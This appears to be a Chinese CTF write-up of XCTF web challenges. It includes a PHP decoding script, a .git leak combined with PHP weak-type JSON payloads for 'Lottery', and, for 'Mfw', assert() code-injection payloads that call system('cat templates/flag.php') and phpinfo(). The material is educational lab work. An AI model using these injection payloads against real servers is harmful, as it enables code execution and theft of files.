刷 攻防世界 记录 (持续更新)

 

  • Web 2 

按照他的逻辑反过来就行了

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$_o=base64_decode(strrev(str_rot13($miwen)));
for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;   
    }
echo strrev($_);

?>

 

 


 

  • Lottery    

1).git泄露

2)Php弱类型 ‘==’ bool类型得ture与任何东西都相等

 

刷 攻防世界 记录  (持续更新)

 

 

 

Payload  

{“action”:”buy”,“number”:{”0”:true, ”1”:true, ”2”:true, ”3”:true, ”4”:true, ”5”:true, ”6”:true}}

或者

{“action”:”buy”,“number”:{true, true, true, true, true, true, true}}

 


 

 

  • Mfw

1).git泄露

2)危险函数:assert()

Assert(assertion,参数2)

判断一个断言是否为FALSE,注意当assertion为字符串时,会将assertion当作代码执行。

返回值:assertion 是 false 则返回 FALSE,否则是 TRUE。

源码:

 

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

 

这里下来测试了一下,发现当里面命令是两个得时候,它只会执行第一个命令

刷 攻防世界 记录  (持续更新)

 

所以这里无法在字符串里面做手脚

自己本地测试下

刷 攻防世界 记录  (持续更新)

 

 Payload是  abc’,’.’) or phpinfo();\\ 这里我不能理解为什么没有双引号,后来才知道是理解失误,这里最终还是在双引号里面去做手脚,因为无法去破坏这个语句,在双引号里使用命令同样可以使用 or 命令,或者and 命令,之前一直以为or 和and 只能在括号里使用,其实不然,一直都可以使用

刷 攻防世界 记录  (持续更新)

 

 刷 攻防世界 记录  (持续更新)

 

 

当然and逻辑也是可以的,符号代替也是可以的。

所以这里我们传入的 a’) or phpinfo();//是去闭合 strpos() 而且注释仅仅是注释掉 ===false

然后这里的整个字符串都会被拿去执行,带出答案。

另一种payload是    ‘.phpinfo().’

这个payload是绕过第二个语句

刷 攻防世界 记录  (持续更新)

 

本地测试:

 刷 攻防世界 记录  (持续更新)

 

两个单引号前后闭合,然后逃逸处语句 phpinfo();

 

最终这道题的payload是

?page= abc’,’.’) or system(“cat templates/flag.php”);\\

或者

?page=’. system(“cat templates/flag.php”);.’

另外 利用file_get_contents也是可以的

 

 

上一篇:[SUCTF 2019]EasyWeb


下一篇:php -v和phpinfo() 输出的php版本不一致